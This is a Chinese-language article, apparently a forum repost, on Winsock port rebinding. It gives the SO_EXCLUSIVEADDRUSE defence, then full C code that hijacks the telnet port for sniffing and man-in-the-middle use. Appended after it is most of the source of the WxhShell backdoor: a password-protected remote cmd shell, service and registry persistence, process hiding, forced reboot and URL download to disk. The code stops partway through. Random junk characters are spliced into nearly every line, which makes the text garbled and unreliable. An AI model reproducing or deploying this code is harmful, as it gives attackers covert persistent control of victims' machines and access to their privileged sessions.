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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =oiY'}%(i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); | %6B#uy w&C SE saddr.sin_family = AF_INET; =fG(K!AQ :UFf6T? saddr.sin_addr.s_addr = htonl(INADDR_ANY); PS \QbA
EA?:GtH bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qWQJ> bFJmXx& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w)DO"Z7 V<ODt% 这意味着什么?意味着可以进行如下的攻击: o{>hOs
& RTF{<,E.UX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /j3oHi$ vR+(7^Yy 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s?OGB} F"B! r -J 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?Vt$ r+$ 0u~^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 etGquW. eb.`Q+Gb 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {SK8Mdn *7!}[ v_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x40R)Led Mzxz- cE 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MZ0uc2L= QC ?8 #include t@)~{W
{ #include 'fK_J}+P #include :~6%nFo #include | b@?]M DWORD WINAPI ClientThread(LPVOID lpParam); |Zkcs]8M! int main() !K`;fp! { @,zBZNX
y WORD wVersionRequested; $o]suF;3 DWORD ret; EXb{/4 WSADATA wsaData; YMqL,&Q{1 BOOL val; rr9HC]63 SOCKADDR_IN saddr; G)b ]uX SOCKADDR_IN scaddr; & qd:o} int err; n=hz7tjaz SOCKET s; eaF5S'k 4$ SOCKET sc; V @d:n int caddsize; i-niRu< HANDLE mt; :5@7z9 > DWORD tid; p'xj:bB wVersionRequested = MAKEWORD( 2, 2 ); VFG)|Z err = WSAStartup( wVersionRequested, &wsaData ); `{tykYwCLc if ( err != 0 ) { 1
4(?mM3
printf("error!WSAStartup failed!\n"); -Ca.:zX return -1; ;5y!,OF6 } 4b7}Sr=` saddr.sin_family = AF_INET; 5'oWd
e #9
}Oqm //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %tQIKjsVaY o"'VI4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zxwpS saddr.sin_port = htons(23); A3 j>R477A if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5{cAawU. { i<=@7W printf("error!socket failed!\n"); V|b?H6Q return -1; 14zo0ANM } fI}-?@ val = TRUE; r2U2pAy# //SO_REUSEADDR选项就是可以实现端口重绑定的 ?:H9xJ_^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +86\&y) { .:<c[EJ
b printf("error!setsockopt failed!\n"); dcXtT3,kpX return -1; JziMjR } U/jJ@8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QW~o+N~~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N#ex2c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }m0Lr:vq<r _Zb_9& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '| Ag,x[ { FK
mFjqY ret=GetLastError(); %\5y6 printf("error!bind failed!\n"); eZg31. return -1; b[BSUdCB } G%'h'AV" listen(s,2); nz>A\H while(1) $dwv1@M2 { %iJ6;V4 caddsize = sizeof(scaddr); L6Ynid.k //接受连接请求 pCpj#+|_) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TxxW/f9D if(sc!=INVALID_SOCKET) Ww8C![ , { b<:s{f"t, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @?e;Jp9 if(mt==NULL) !$_mWz { kW-5H;> printf("Thread Creat Failed!\n"); #!,xjd break; T,H]svN5p } XP{ nf9& } ;gW~+hW ^ CloseHandle(mt); qTffh{q V } dB_\,%vAd closesocket(s); b_wb!_ WSACleanup(); %lV>Nc|iz= return 0; w)!(@}vd } BE3~f6 ` DWORD WINAPI ClientThread(LPVOID lpParam) HkrNh>^= { c/g(=F__[ SOCKET ss = (SOCKET)lpParam; UejG$JyHP SOCKET sc; B]]M?pS unsigned char buf[4096]; =Oo*7|Z SOCKADDR_IN saddr;
KJ(zLwQ: long num; JaIj9KLNX DWORD val; %|-Rh^H[JK DWORD ret; L`"cu.l //如果是隐藏端口应用的话,可以在此处加一些判断 f_z2d+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 t^h>~o'\ saddr.sin_family = AF_INET; VfZ/SByh7p saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9Ft)VX saddr.sin_port = htons(23); 59EAqz[: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o'H$g% { oh:t ex< printf("error!socket failed!\n"); z<AQ;b return -1; xRaYm } v`v+M4upC val = 100; m{V@Om if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "BzRLg!J { Zr$PSp} ret = GetLastError(); OSSMIPr return -1; +}^}
<|W6 } Z2
t0l% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F92n)*[ { q<;9!2py
ret = GetLastError(); kdoE)C return -1; wvUph[j}J } ("{AY?{{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $s)
^zm~ { Xf#;GYO|2 printf("error!socket connect failed!\n"); LW2Sko?Yo closesocket(sc); 6\E |` closesocket(ss); />$)o7U`+ return -1; Y
%<B, 3 } _~_Hup while(1) _ H@pYMNH { H M76%9! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y"){? //如果是嗅探内容的话,可以再此处进行内容分析和记录 `NGCUGQ_7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4!monaB"e num = recv(ss,buf,4096,0); 6
#QS5 if(num>0) ?=PQQx2_*u send(sc,buf,num,0);
YemOP9 else if(num==0) 0~FX!1; break; rj:$'m7 num = recv(sc,buf,4096,0); $jw!DrE if(num>0) >\>HRyt% send(ss,buf,num,0); H5qa7JMZ else if(num==0) (jQL? break; *Qyw
_Q } mFo6f\DHr` closesocket(ss); ZNuyGo; closesocket(sc); 7p~@S4 return 0 ; dXdU4YJX } sN;U,{ Ky$<WZs 1x\%VtO>\b ========================================================== b"f4}b +J#H9>To! 下边附上一个代码,,WXhSHELL *^NC5=A(d ls/:/x(5d ========================================================== TuX#;!p6 g/Qr]:; #include "stdafx.h" Qp-nr] 778L[wYe #include <stdio.h> >j$f$*x #include <string.h> s2d;601*b #include <windows.h> DVCc^5# #include <winsock2.h> k:d'aP3 #include <winsvc.h> -gC=%0sp\ #include <urlmon.h> ;vd%=vR @9QHv #pragma comment (lib, "Ws2_32.lib") %r|fuwwJO #pragma comment (lib, "urlmon.lib") 1`h`-dqr# OCRx| #define MAX_USER 100 // 最大客户端连接数 KK7Y"~ 9&- #define BUF_SOCK 200 // sock buffer o+q5:vJt #define KEY_BUFF 255 // 输入 buffer <xc"y|7X qWP1i7]=/ #define REBOOT 0 // 重启 Y$'fds4P #define SHUTDOWN 1 // 关机 s+0$_&xR 6?hv,^ #define DEF_PORT 5000 // 监听端口 r3iNfY b blS*HKw #define REG_LEN 16 // 注册表键长度 `;i|
%$TU #define SVC_LEN 80 // NT服务名长度 K` U\+AE 1{u;-pg // 从dll定义API gNxnoOY typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2{&|%1Jg typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,@ [Q:fY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E=7"}; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P=S)V ;jnnCXp> // wxhshell配置信息 g3Ff<P P struct WSCFG { fT
8"1f|w int ws_port; // 监听端口 /'">H-r char ws_passstr[REG_LEN]; // 口令 KsHovv-A int ws_autoins; // 安装标记, 1=yes 0=no e[{LNM{/# char ws_regname[REG_LEN]; // 注册表键名 C\}m_`MR char ws_svcname[REG_LEN]; // 服务名 X1A;MA@0Ro char ws_svcdisp[SVC_LEN]; // 服务显示名 4; j#7 char ws_svcdesc[SVC_LEN]; // 服务描述信息 yqB{QFXO char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gA.G:1v int ws_downexe; // 下载执行标记, 1=yes 0=no
W_kJb char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" YDDwvk
H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eo,m ^& JfC.U,7Nc }; M,mj{OY~x "-I> // default Wxhshell configuration 5bMVDw/ struct WSCFG wscfg={DEF_PORT, 6,oi(RAf "xuhuanlingzhe", k*^.-v 1, ;r`[6[AG "Wxhshell", ayC*n' "Wxhshell", ;/e!!P]jP "WxhShell Service", A03PEaZO "Wrsky Windows CmdShell Service", *rW] HNz "Please Input Your Password: ", ko ~iDT 1, } |sP;Rpu " http://www.wrsky.com/wxhshell.exe", [q_Yf!(m- "Wxhshell.exe" ~6@~fhu }; `~*qjA ?VReKv1\ // 消息定义模块 f^0vkWI2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8zZR%fZ char *msg_ws_prompt="\n\r? for help\n\r#>"; lOZ.{0{f, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; A0&~U0*(~ char *msg_ws_ext="\n\rExit."; ~;U!? char *msg_ws_end="\n\rQuit."; &_!BMzp4 char *msg_ws_boot="\n\rReboot..."; *Z{W,8h*s char *msg_ws_poff="\n\rShutdown..."; o F@{& char *msg_ws_down="\n\rSave to "; >Z>*Iz,LP ( 6r9y3' char *msg_ws_err="\n\rErr!"; ^=W%G^jJy char *msg_ws_ok="\n\rOK!"; rWa7"<`p m*[" char ExeFile[MAX_PATH]; M0_K%Z(zaR int nUser = 0; (4b&}46 HANDLE handles[MAX_USER]; Tk+\Biq
int OsIsNt; m>UJ; F !Ng^k>*h SERVICE_STATUS serviceStatus; f~"3#MaV SERVICE_STATUS_HANDLE hServiceStatusHandle; ZXr]V'Q? zW+Y{^hf // 函数声明 J$'T2@H# int Install(void);
rro,AS} int Uninstall(void); 7tfFRUw int DownloadFile(char *sURL, SOCKET wsh); pk"JcUzR int Boot(int flag); 0Z9jlwcQ void HideProc(void); rytizbc int GetOsVer(void); )(?s=<H int Wxhshell(SOCKET wsl); {|>~#a49h void TalkWithClient(void *cs); 12cfqIo9 int CmdShell(SOCKET sock); Sqfa,3?L int StartFromService(void); /\Q{i#v int StartWxhshell(LPSTR lpCmdLine); W%Um:C\I 2X6y^f';\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d6(qc< /!r VOID WINAPI NTServiceHandler( DWORD fdwControl ); >%d]"] ?J)%.~! // 数据结构和表定义 9lny[ {9 SERVICE_TABLE_ENTRY DispatchTable[] = xcoYo { y)/d- {wscfg.ws_svcname, NTServiceMain}, R?X9U.AcW {NULL, NULL} 0aGfz=V& }; vy-{BH a9D5qj // 自我安装 ?u8+F int Install(void) fpoH7Jd V { J-u,6c char svExeFile[MAX_PATH]; zJ &qR HKEY key; +R*4`F:QJQ strcpy(svExeFile,ExeFile); j*+r`CX /mr&Y}7T // 如果是win9x系统,修改注册表设为自启动 M2V.FYV{j> if(!OsIsNt) { 3ON]c13 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v[lytX4) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BNzL+"W RegCloseKey(key); 4"7Qz z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GW}KmTa]& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ iP[iE= RegCloseKey(key); zBc7bbK return 0; s"a*S\a;b } P,wFib^1 } XY%8yII6 } iUl{_vb else { XFBk:~}sI /$q;-/DnTZ // 如果是NT以上系统,安装为系统服务 YQ?|Vb
U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;tKL/eI if (schSCManager!=0) W#??fae { kZn!]TseN SC_HANDLE schService = CreateService }Efp{E ( vTB*J,6. schSCManager, q
F}5mUcZ4 wscfg.ws_svcname, H ) (K wscfg.ws_svcdisp, pX*mX] SERVICE_ALL_ACCESS, S
- 7JDE> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DJ<e=F! SERVICE_AUTO_START, kXG+zsT SERVICE_ERROR_NORMAL, `SIJszqc
svExeFile, AM Rj N; NULL, 8q0f#/`v NULL, I>P</TE7 NULL, =z@'vu$Fh NULL, ";>D0h^D NULL t_j.@|/FZ ); ;$0za]x if (schService!=0) DR =>la}! { /CZOO)n CloseServiceHandle(schService); Pu*st=KGB CloseServiceHandle(schSCManager); t+h"YiT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J(l6(+8 strcat(svExeFile,wscfg.ws_svcname); +)7NWR\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {0QA+[Yd&! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =%RDT9T. RegCloseKey(key); r &TxRsg{ return 0; !`aodz*PO } VK|!aqA{b } T;FzKfT| CloseServiceHandle(schSCManager); ?X:RrZ:/ } `zep`j&8^ } NS&~n^*k< 83<kaeu,^ return 1; i[YYR,X| } QZwRg&d<o }D=h"\_= // 自我卸载 tKJ)'v? int Uninstall(void) N Z.aI{ { -''vxt?7H& HKEY key; 7l:H~"9r bUqO.FZ[ if(!OsIsNt) { AV8TP-Ls+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *:d_~B?Tn RegDeleteValue(key,wscfg.ws_regname); E+3~w?1 RegCloseKey(key); Pb~S{): if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c=|
a \\ RegDeleteValue(key,wscfg.ws_regname); cb
UVeh7Q RegCloseKey(key); +bQn2PG= return 0; MM5#B!BB } a~{Stv } 7,O^c+ } T]i~GkD\ else { #Io#OG<7b ||_F
/AD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w{UU( if (schSCManager!=0) (m,O!935f { A"P1B] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q?t>!1c if (schService!=0) 5aWKyXBIx { z&-`<uV~ if(DeleteService(schService)!=0) { h?CNChRJs CloseServiceHandle(schService); NuXU2w~ CloseServiceHandle(schSCManager); F,EHZ,<V return 0; "\V:W%23W{ } `[ne<F?e CloseServiceHandle(schService); [S9n F } UbuxD }) CloseServiceHandle(schSCManager); wicg8[T=B } }M9'N%PU } =+"XV8Fi, ](0A/,#q6 return 1; "/\:Fdc^ } g6*}&.& hpw;w}m // 从指定url下载文件 Gge"`AT int DownloadFile(char *sURL, SOCKET wsh) E]7G4 { /_56H?w\ HRESULT hr; +nqOP3 char seps[]= "/"; 2
na8G char *token; o= 8yp2vG char *file; ',CcL N char myURL[MAX_PATH]; AM }OLHj char myFILE[MAX_PATH]; %_3{Db`R> Lh. L~M1X strcpy(myURL,sURL); h7Ma`w\- token=strtok(myURL,seps); 3+#bkG while(token!=NULL) 3yZ@i<rfH { 1`)R#$h file=token; &MKv_ token=strtok(NULL,seps); Vj:PNt[ } oF3#]6`;/ 0u0Hl% nl GetCurrentDirectory(MAX_PATH,myFILE); >&$V"*] strcat(myFILE, "\\"); lca.(3u strcat(myFILE, file); {uhw ^)v send(wsh,myFILE,strlen(myFILE),0); "w7:{E5e send(wsh,"...",3,0); =!{dKz-& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !}vz_6) if(hr==S_OK) 'uPqe.#? return 0; _mO\Nw0 else ?}Mv5SO return 1; 20Rgw ,qr)}s- } KT|$vw2b cq!>B{ // 系统电源模块 D #A9 int Boot(int flag) T8RQM1D_s { 8m6L\Z&
HANDLE hToken; }SOj3.9{c TOKEN_PRIVILEGES tkp; XCt}>/"s\h %b_zUFHPp if(OsIsNt) { f^]2qoN OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bGSgph LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _x>u"w tkp.PrivilegeCount = 1; ciXAyT cG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HAU8H'h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9:esj{X if(flag==REBOOT) { 4e5Ka{# < if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .jRXHrK; return 0; k r/[|.bq } CE+\|5u
W else { vu*08<M~i| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jy1*E3vQ return 0; DLz~$TF^ } w.V8-9{ } 5ax/jd~} else { \"uR&D if(flag==REBOOT) { 5^5h%~)} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }2{%V^D)r return 0; [NuayO3 } uH7u4f1Q else { ,0])] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |fa3;8!96 return 0; $60+}B`m } sNNt0q( } AAs&wYp8Yh SIg=_oa return 1; E>7[ti_p5 } &-&6ARb7o 0phGn+"R // win9x进程隐藏模块 h?idRaN_ void HideProc(void) .]jKuTC\< { %]:u ^\7 .E@yB`AR HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AMkjoy3+] if ( hKernel != NULL ) uEk$Y=p7! { W"~G]a+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rK`*v* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z
|t0mS$ FreeLibrary(hKernel); kgA')] } ++FMkeHZ gE%- Pf~ return; JNsK } 8S)k]$ wf% [jY_e`S // 获取操作系统版本 uODpIxN int GetOsVer(void) J
\G8g,@ { Y pp>7J/ OSVERSIONINFO winfo; v/(< fI^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0/),ylCj GetVersionEx(&winfo); WJhI6lu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0chBw~@*s return 1; d*!,McBn else `s.y!(`q return 0; W>h[aVTO } 6r^(VT
2avSsN{^ // 客户端句柄模块 ;BpuNB int Wxhshell(SOCKET wsl) ;Cv x48 { G<>`O;i SOCKET wsh; fUE jl struct sockaddr_in client; <oO^w&G DWORD myID; P,*R@N &"25a[x{B while(nUser<MAX_USER) tcmG>^YM { SB]|y-su int nSize=sizeof(client); 0;]tC\D1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eH75:` if(wsh==INVALID_SOCKET) return 1; VFRUiz/C `L0}^|`9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +A/n<VH if(handles[nUser]==0) b}axw+ closesocket(wsh); (?$}Vp else #IgY'L nUser++; )5p0fw } w+[r$+z!k WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I>fEwMk~ M$|^?U>cm return 0; 02b v0 } o-49o5:1 ?7(`2=J // 关闭 socket St'3e< void CloseIt(SOCKET wsh) {PdyKgM { J6=*F;x6E closesocket(wsh); F~&bgl[YZ nUser--; -3F|)qwK ExitThread(0); \z0" } !,|yrB&`S 8NA2C.gOZ // 客户端请求句柄 qm8[ ^jO& void TalkWithClient(void *cs) \_0nH` { t13wQt ax,%07hJ SOCKET wsh=(SOCKET)cs; U^:+J-z{ char pwd[SVC_LEN]; CH!Lf,G char cmd[KEY_BUFF]; YY'46 char chr[1]; qMKXS,s int i,j; Bv@NE2 ..;}EFw5 while (nUser < MAX_USER) { ^~(@QfY O~trv,?) if(wscfg.ws_passstr) { U z[#t1* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?%#3p[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [gx6e 44 //ZeroMemory(pwd,KEY_BUFF); D O#4E<]5 i=0; I6X_DPY while(i<SVC_LEN) { m.Yj{u8zX x^xlH!Sc // 设置超时 ALJ^XvB4V fd_set FdRead; auK*\Wjm? struct timeval TimeOut; e@w-4G(; FD_ZERO(&FdRead); %?@N-$j FD_SET(wsh,&FdRead); _e7Y R+ TimeOut.tv_sec=8; [y&yy|*\ TimeOut.tv_usec=0; aF]4%E int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w<*6pPy if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +VCG/J #px74EeI\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y)C nH4{ pwd =chr[0]; Hj2E -RwG if(chr[0]==0xd || chr[0]==0xa) { 0z.oPV@ pwd=0; 3E)
X(WJY break; criOJ- } :bNqK0[rS i++; <y7nGXzLK } 7vF+Di(B R m>AU= // 如果是非法用户,关闭 socket ViKN|W>T if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M&wf4)*%0+ } *QH@c3vUe\ 8{^zXJi]m send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dtTQY send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pp# qkPvE;" while(1) { =CgcRxng wxS.!9K ZeroMemory(cmd,KEY_BUFF); >cpT_M&C, z.P<)[LUc // 自动支持客户端 telnet标准 IT!u4iH[ j=0; +"
|?P while(j<KEY_BUFF) { {(Jbgsxm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Ie/| cmd[j]=chr[0]; aQzx^%B1 if(chr[0]==0xa || chr[0]==0xd) { BE>^;` K cmd[j]=0;
td@I ;d2 break; 3k3-Ts } /Ps/m! j++; }Vjg>" } @{n"/6t @komb IK // 下载文件 RrA9@95+ if(strstr(cmd,"http://")) { .z0NMmz0z send(wsh,msg_ws_down,strlen(msg_ws_down),0); +&bJhX if(DownloadFile(cmd,wsh)) rr~O6Db send(wsh,msg_ws_err,strlen(msg_ws_err),0); L6<.>\^Z" else 40h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8vRQ_ } -]n\|U< else { t}6QU ^__';! e switch(cmd[0]) { .6C9N{?Tqf %'+}-w // 帮助 pUF$Nq>og case '?': { /;E{(%U)t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %JoHc? break; O2N7qV3U, } (`'(`x# // 安装 FWC\(f case 'i': { Mj!\EUn if(Install()) %'o'Kh''= send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y2$wL9"> else Q8|
C>$n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `-Y8T\ break; \*yH33B9 } HD%n'@E // 卸载 D`hl} case 'r': { C}jFR] x) if(Uninstall()) l/xpAx send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]8 vsr$E# else r_>]yp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T"IDCT'z break; uSQlE= } 8SGqDaRt // 显示 wxhshell 所在路径 |!m8JV|x case 'p': { kLE("I:7 char svExeFile[MAX_PATH]; U\y:\+e l strcpy(svExeFile,"\n\r"); ly9tI-E strcat(svExeFile,ExeFile); ;}B6`v send(wsh,svExeFile,strlen(svExeFile),0); S/,)X break; NdxPC~Z+ } 6K7DZ96L // 重启 unvS `>)Np case 'b': { >p*7) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wr+/9 if(Boot(REBOOT)) V
|cPAT% send(wsh,msg_ws_err,strlen(msg_ws_err),0); :;Xh`br else { zu_bno! closesocket(wsh); R,8 W7 3 ExitThread(0); 4++
&P9 } + *)Kyk break; dkWV/DAm } |1%eo. // 关机 &v)/mc7D case 'd': { u~8=ikn+T send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %p;;aZG if(Boot(SHUTDOWN)) `eEiSf send(wsh,msg_ws_err,strlen(msg_ws_err),0); w!_6* else { ]WYddiF closesocket(wsh); vJj}$AlI ExitThread(0); Yr)<1.K4,M } <sTY<i VR break; 7S/\;DF } yz7Fe // 获取shell Nr"gj$v case 's': { A$3ll|%j CmdShell(wsh); W"!{f closesocket(wsh); hsAk7KC ExitThread(0); #g#[|c. break; f4;V7DJ } Z~AgZM
R // 退出 laRn![[ case 'x': { @6kkt~>: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +[Izz~_p CloseIt(wsh); uOAd$;h@_Z break; X=@bzL;eq } NOSLb]; // 离开 Hb3..o: case 'q': { %bp'`B= send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^U9b)KA closesocket(wsh); SuA
@S WSACleanup(); cO8yu`4!e exit(1); MX"M2>" pT break; %RX!Pi}5+g } ]T=o >% } h$]nfHi_Q } 14`S9SL{V eRm*+l|? // 提示信息 /H*[~b if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l0r^LK$ } B{K_?ae! } g;~$xXn fQxlYD'peb return; Z|B`n
SzH } Gs/G_E(T SveP:uJA[ // shell模块句柄 %O9P|04]3 int CmdShell(SOCKET sock) p
~pl| { "^)$MAZ STARTUPINFO si; *7{{z%5Pu ZeroMemory(&si,sizeof(si)); hAJ^(| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *SYuq) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4N)45@jk[ PROCESS_INFORMATION ProcessInfo; F?Fxm*Wa/ char cmdline[]="cmd"; UNA!vzOb CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
_ 'K6S return 0; z
s\N)LyM } FwV5{-( I@kMM12>c // 自身启动模式 8iPA^b|sz{ int StartFromService(void) z
$iI { bo#?,80L}` typedef struct TU1W!=Z { 734H{,~ DWORD ExitStatus; ikb;,Js DWORD PebBaseAddress; p#N2K{E DWORD AffinityMask; ~
Ofn&[G DWORD BasePriority; IN@ =UAc& ULONG UniqueProcessId; \;Sl5*kr ULONG InheritedFromUniqueProcessId; w&Z.rB? } PROCESS_BASIC_INFORMATION; fskc'%x ^YB3$:@$U PROCNTQSIP NtQueryInformationProcess; )&[ol9+\ r.' cjUs static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o,qUf static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O{Z
